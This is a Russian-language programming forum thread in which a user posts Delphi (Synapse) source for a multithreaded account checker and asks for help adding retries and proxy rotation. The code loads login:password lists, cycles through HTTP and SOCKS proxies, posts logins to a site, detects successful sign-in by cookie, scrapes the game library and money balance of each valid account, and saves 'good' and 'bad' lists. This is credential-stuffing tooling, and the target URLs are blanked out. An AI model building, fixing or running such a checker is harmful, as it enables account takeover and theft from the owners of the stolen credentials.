Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Работа с сетью в Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 17.04.2015, 11:39   #1
boltua
 
Регистрация: 17.04.2015
Сообщений: 4
По умолчанию помогите с кодом перебрута или повтора цикла

нужно реализовать такое чтобы ошибки пост запросов перебручивались из ошибок при использовании прокси т к без прокси ошибок не возникает а вот сс исспользованием выбивает ошибки работаю в синапсе
boltua вне форума Ответить с цитированием
Старый 17.04.2015, 13:07   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

И какие же ошибки?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 17.04.2015, 13:49   #3
boltua
 
Регистрация: 17.04.2015
Сообщений: 4
По умолчанию вот

вот исход
{ ThePotok }
парс код

Код:
procedure ThePotok.Execute;
begin
 ReBrute:=False;
 While Work do
 Begin
 Cs.Enter;
 if ReBrute=False then
 Begin
 Inc(Acc);
 if Acc<AccountsList.Count then CurAcc:=Acc else Work:=False;
 End;
 Inc(Proxy);
 if Proxy<ProxyList.Count-1 then CurProxy:=Proxy else  begin
 Proxy:=0;
 CurProxy:=Proxy;
 End;
 Cs.Leave;
 if Work then begin
 if Pos(':',AccountsList[Curacc])<>0 then
 Begin
   Login:=Copy(AccountsList[Curacc],1,pos(':',AccountsList[Curacc])-1);
   Password:=Copy(AccountsList[Curacc],pos(':',AccountsList[Curacc])+1,Length(AccountsList[Curacc]));
 End else Begin
   Login:=Copy(AccountsList[Curacc],1,pos(';',AccountsList[Curacc])-1);
   Password:=Copy(AccountsList[Curacc],pos(';',AccountsList[Curacc])+1,Length(AccountsList[Curacc]));
 End;
   Http:= THTTPSend.Create;
 if  Form1.sRadioButton1.Checked=true then
 Begin
   IP:=Copy(ProxyList[CurProxy],1,pos(':',ProxyList[CurProxy])-1);
   PORT:=Copy(ProxyList[CurProxy],pos(':',ProxyList[CurProxy])+1,Length(ProxyList[CurProxy]));
   http.ProxyHost:=IP;
   http.ProxyPort:=PORT;
 End;

 if Form1.sRadioButton2.Checked=true then
 Begin
   Http.Sock.SocksIP:=Copy(ProxyList[CurProxy],1,pos(':',ProxyList[CurProxy])-1);
   Http.Sock.SocksPort:=Copy(ProxyList[CurProxy],pos(':',ProxyList[CurProxy])+1,Length(ProxyList[CurProxy]));
   http.Sock.SocksIP:=IP;
   http.Sock.SocksPort:=PORT;
 End;
   http.Timeout:=Form1.sSpinEdit1.Value*1000;
 Data:= TStringStream.Create;
 Scr:= TStringList.Create;
 With HTTP Do Begin
 Headers.Add
 Headers.Add
 MimeType:=
 Document.Clear;
 End;
 Data.WriteString('запрос');
 Http.Document.LoadFromStream(Data);
 if Http.HTTPMethod('POST','запрос') then
 if Pos('Set-Cookie: rememberSignIn=',HTTP.Headers.Text)<>0 then begin
   Http.Clear;
   Scr.Clear;
   Http.HTTPMethod('GET','запрос');
   Scr.LoadFromStream(Http.Document);
   Games:=Pars('    ',Scr.Text,'   ');
   Money:=Pars('    ',Scr.Text,'   ');
   System:=Pars('   ',Scr.Text,'   ');
   Rez:=1;
 end else begin
   Rez:=2;
 end;

 HTTP.Free;
 Scr.Free;
 Synchronize(Sync);
 End;
 Dec(Thread);
 if Thread = 0 then
 End;
end;


procedure ThePotok.Sync;
begin
case rez of
1:Begin                                               //Games,Money,System
ReBrute:=False;
Append(GoodFile);
WriteLn(GoodFile,Login+':'+Password+#13#10+'||'+'Игры: '+Trim(Games)+'||'+'Деньги: '+''+Trim(Money)+'||'+'Систем: '+Trim(System));
CloseFile(GoodFile);
Form1.sMemo1.Lines.Add(Login+':'+Password+#13#10+'||'+'Игры: '+Trim(Games)+'||'+'Деньги: '+''+Trim(Money)+'||'+'Систем: '+Trim(System));
Form1.sLabel8.Caption:=inTToStr(StrToInt(Form1.sLabel8.Caption)+1);
End;



2:Begin
  ReBrute:=False;
  Append(BadFile);
  WriteLn(BadFile,Login+':'+Password);
  CloseFile(BadFile);
  Form1.sLabel9.Caption:=inTToStr(StrToInt(Form1.sLabel9.Caption)+1);
End;

0:Begin
  ReBrute:=False;
  Form1.sLabel10.Caption:=inTToStr(StrToInt(Form1.sLabel10.Caption)+1);
End;

End;


end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Cs.Free;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 AccountsList:= TStringList.Create;
 ProxyList:= TStringList.Create;
 CS:= TCriticalSection.Create;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
if sOpenDialog1.Execute then
Begin
AccountsList.Clear;
AccountsList.LoadFromFile(sOpenDialog1.FileName);
sLabel1.Caption:=InTToStr(AccountsList.Count);
End;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
if sOpenDialog1.Execute then
Begin
   ProxyList.Clear;
ProxyList.LoadFromFile(sOpenDialog1.FileName);
sLabel7.Caption:=InTToStr(ProxyList.Count);
End;
end;

procedure TForm1.sButton3Click(Sender: TObject);
var
 Way, StrTime:string;
      i:integer;
      begin
        StrTime:=TimeToStr(Time);
   for     i:=1 to Length(StrTime)  do
   if      StrTime[i]=':' then  StrTime[i]:='_';
  begin
    Formatsettings.TimeSeparator:='.';
    TimeToStr(Time);
      smemo1.Clear;
 Createdir(ExtractFilePath(Application.ExeName)+'Результаты');
 Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'Результаты'+'Good('+DateToStr(Date)+' - '+TimeToStr(Time)+').txt');
 Rewrite(GoodFile);
 Closefile(GoodFile);
 Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'Результаты'+'Bad('+DateToStr(Date)+' - '+TimeToStr(Time)+').txt');
 Rewrite(BadFile);
 Closefile(BadFile);
 sLabel8.Caption:='0';
 sLabel9.Caption:='0';
 sLabel10.caption:='0';
  Acc:=-1;
  Proxy:=-1;
  Work:=true;
for Thread:=0 to Form1.sSpinEdit1.Value do
    ThePotok.Create(false);
  end;
  end;






procedure TForm1.sButton4Click(Sender: TObject);
begin
Work:=False;
end;

procedure TForm1.sComboBox1Change(Sender: TObject);
begin
  if sOpenDialog1.Execute then
Begin
ProxyList.LoadFromFile(sOpenDialog1.FileName);
sLabel7.Caption:=InTToStr(ProxyList.Count);
End;
end;

end.

Последний раз редактировалось Аватар; 17.04.2015 в 14:00.
boltua вне форума Ответить с цитированием
Старый 17.04.2015, 13:51   #4
boltua
 
Регистрация: 17.04.2015
Сообщений: 4
По умолчанию даю ошибки

код работает но делает много пропусков запросов и кидает в ошибки только когда использую прокси может сделать с репит или чтобы ошибки загоняли в конец строки подкажите может что в цикле
boltua вне форума Ответить с цитированием
Старый 17.04.2015, 14:29   #5
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Что-т я не понял, а текст ошибок есть вообще?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 17.04.2015, 17:03   #6
boltua
 
Регистрация: 17.04.2015
Сообщений: 4
По умолчанию

нет сам код работает я просто хочу добавить перебрут ощибок повтор цикла
типо через репит и утиль
Код:
var
  i:integer;

...................

i:=0;
repeat
  if i>5 then begin
    break;
  end else begin
    inc(i);
  end;
  http.headers.clear;
  http.document.clear;
  http.useragent:='Вписываем user agent';
  //http.mimetyp:='Вписываем метод передачи данных';
  //http.document.loadfromstream(stream);
until
только не получается вписать в неговыдает ошибки помогите внедрить на примере этого

и проксси следующую внедрить
boltua вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
проблемы с кодом на С++. Компилятор коряво интерпретирует или руки не оттуда растут? Помогите разобраться, пожалуйста. OstapGr Помощь студентам 1 02.07.2014 15:25
Помогите Реализовать программу математического типа с использованием ветвления или цикла Алексей95 Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM 0 12.05.2014 11:18
избавиться от цикла for или ускорить вычисление AlexVI Visual C++ 0 09.02.2012 16:06
Прблема с компелятором или с кодом программы? Sleik Помощь студентам 3 13.10.2011 21:49
Проблемы с хостингом или кодом gufon PHP 18 22.12.2010 20:38